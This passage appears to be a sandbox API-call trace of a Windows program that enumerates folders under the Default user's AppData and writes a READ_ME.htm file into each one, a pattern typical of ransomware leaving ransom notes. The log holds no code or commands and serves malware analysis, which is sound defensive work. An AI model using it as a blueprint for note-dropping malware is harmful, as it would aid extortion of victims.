ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.976] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x62cae6a0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cae6a0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfea09ee5, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0142.976] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x62cae6a0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cae6a0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfee8082e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fwlink[1]", cAlternateFileName="FWLINK~1")) returned 1 [0142.977] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x62cae6a0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cae6a0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfee8082e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fwlink[1]", cAlternateFileName="FWLINK~1")) returned 0 [0142.977] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.977] SetErrorMode (uMode=0x0) returned 0x1 [0142.977] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7", lpFilePart=0x0) returned 0x3d [0142.978] SetErrorMode (uMode=0x1) returned 0x0 [0142.978] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\*" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\6asvn7j7\\*"), lpFindFileData=0x21cfb0 | out: lpFindFileData=0x21cfb0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cae6a0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfee8082e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.978] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cae6a0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfee8082e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.978] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x62cae6a0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cae6a0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfea09ee5, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0142.978] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x62cae6a0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cae6a0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfee8082e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fwlink[1]", cAlternateFileName="FWLINK~1")) returned 1 [0142.978] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x62cae6a0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cae6a0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfee8082e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fwlink[1]", cAlternateFileName="FWLINK~1")) returned 0 [0142.979] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.979] SetErrorMode (uMode=0x0) returned 0x1 [0142.979] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ccb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\READ_ME.htm", lpFilePart=0x0) returned 0x49 [0142.979] SetErrorMode (uMode=0x1) returned 0x0 [0142.979] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\READ_ME.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\6asvn7j7\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0142.979] GetFileType (hFile=0x1d0) returned 0x1 [0142.980] SetErrorMode (uMode=0x0) returned 0x1 [0142.980] GetFileType (hFile=0x1d0) returned 0x1 [0142.980] WriteFile (in: hFile=0x1d0, lpBuffer=0x2975750*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d218, lpOverlapped=0x0 | out: lpBuffer=0x2975750*, lpNumberOfBytesWritten=0x21d218*=0x720, lpOverlapped=0x0) returned 1 [0142.981] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ", lpFilePart=0x0) returned 0x3d [0142.982] SetErrorMode (uMode=0x1) returned 0x0 [0142.982] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\*" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\d68g7bij\\*"), lpFindFileData=0x21cfb0 | out: lpFindFileData=0x21cfb0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cae6a0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xff06fa11, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.982] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cae6a0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xff06fa11, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.982] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x62cae6a0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cae6a0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfea09ee5, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0142.982] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x62cae6a0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cae6a0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xff06fa11, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fwlink[1]", cAlternateFileName="FWLINK~1")) returned 1 [0142.983] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x62cae6a0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cae6a0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xff06fa11, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fwlink[1]", cAlternateFileName="FWLINK~1")) returned 0 [0142.983] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.983] SetErrorMode (uMode=0x0) returned 0x1 [0142.983] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ", lpFilePart=0x0) returned 0x3d [0142.983] SetErrorMode (uMode=0x1) returned 0x0 [0142.983] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\*" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\d68g7bij\\*"), lpFindFileData=0x21cfb0 | out: lpFindFileData=0x21cfb0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cae6a0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xff06fa11, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.984] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cae6a0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xff06fa11, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.984] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x62cae6a0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cae6a0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfea09ee5, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0142.984] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x62cae6a0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cae6a0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xff06fa11, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fwlink[1]", cAlternateFileName="FWLINK~1")) returned 1 [0142.984] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x62cae6a0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cae6a0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xff06fa11, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fwlink[1]", cAlternateFileName="FWLINK~1")) returned 0 [0142.984] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.984] SetErrorMode (uMode=0x0) returned 0x1 [0142.984] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ccb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\READ_ME.htm", lpFilePart=0x0) returned 0x49 [0142.985] SetErrorMode (uMode=0x1) returned 0x0 [0142.985] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\READ_ME.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\d68g7bij\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0142.985] GetFileType (hFile=0x1d0) returned 0x1 [0142.985] SetErrorMode (uMode=0x0) returned 0x1 [0142.985] GetFileType (hFile=0x1d0) returned 0x1 [0142.986] WriteFile (in: hFile=0x1d0, lpBuffer=0x297bcc8*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d218, lpOverlapped=0x0 | out: lpBuffer=0x297bcc8*, lpNumberOfBytesWritten=0x21d218*=0x720, lpOverlapped=0x0) returned 1 [0142.987] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD", lpFilePart=0x0) returned 0x3d [0142.987] SetErrorMode (uMode=0x1) returned 0x0 [0142.987] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\*" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\kqmhsvkd\\*"), lpFindFileData=0x21cfb0 | out: lpFindFileData=0x21cfb0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cae6a0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfed03a6b, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.988] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cae6a0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfed03a6b, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.988] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x62cae6a0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cae6a0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfe9e3d85, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0142.988] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x62cae6a0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cae6a0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfed03a6b, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fwlink[1]", cAlternateFileName="FWLINK~1")) returned 1 [0142.988] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x62cae6a0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cae6a0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfed03a6b, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fwlink[1]", cAlternateFileName="FWLINK~1")) returned 0 [0142.988] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.988] SetErrorMode (uMode=0x0) returned 0x1 [0142.989] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD", lpFilePart=0x0) returned 0x3d [0142.989] SetErrorMode (uMode=0x1) returned 0x0 [0142.989] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\*" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\kqmhsvkd\\*"), lpFindFileData=0x21cfb0 | out: lpFindFileData=0x21cfb0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cae6a0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfed03a6b, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.989] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cae6a0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfed03a6b, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.989] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x62cae6a0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cae6a0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfe9e3d85, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0142.989] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x62cae6a0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cae6a0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfed03a6b, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fwlink[1]", cAlternateFileName="FWLINK~1")) returned 1 [0142.989] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x62cae6a0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cae6a0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfed03a6b, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fwlink[1]", cAlternateFileName="FWLINK~1")) returned 0 [0142.990] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.990] SetErrorMode (uMode=0x0) returned 0x1 [0142.990] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ccb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\READ_ME.htm", lpFilePart=0x0) returned 0x49 [0142.990] SetErrorMode (uMode=0x1) returned 0x0 [0142.990] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\READ_ME.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\kqmhsvkd\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0142.990] GetFileType (hFile=0x1d0) returned 0x1 [0142.991] SetErrorMode (uMode=0x0) returned 0x1 [0142.991] GetFileType (hFile=0x1d0) returned 0x1 [0142.991] WriteFile (in: hFile=0x1d0, lpBuffer=0x2982240*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d218, lpOverlapped=0x0 | out: lpBuffer=0x2982240*, lpNumberOfBytesWritten=0x21d218*=0x720, lpOverlapped=0x0) returned 1 [0142.992] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cd70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\READ_ME.htm", lpFilePart=0x0) returned 0x40 [0142.992] SetErrorMode (uMode=0x1) returned 0x0 [0142.992] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\READ_ME.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0142.994] GetFileType (hFile=0x1d0) returned 0x1 [0142.995] SetErrorMode (uMode=0x0) returned 0x1 [0142.995] GetFileType (hFile=0x1d0) returned 0x1 [0142.995] WriteFile (in: hFile=0x1d0, lpBuffer=0x2986810*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d2d8, lpOverlapped=0x0 | out: lpBuffer=0x2986810*, lpNumberOfBytesWritten=0x21d2d8*=0x720, lpOverlapped=0x0) returned 1 [0142.996] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer", lpFilePart=0x0) returned 0x3a [0142.996] SetErrorMode (uMode=0x1) returned 0x0 [0142.997] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\*" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\internet explorer\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cae6a0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x96e13f, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.997] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cae6a0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x96e13f, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.997] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x62cae6a0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cae6a0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xff12e0f2, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x2fa9, dwReserved0=0x0, dwReserved1=0x0, cFileName="brndlog.bak", cAlternateFileName="")) returned 1 [0142.997] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2020, 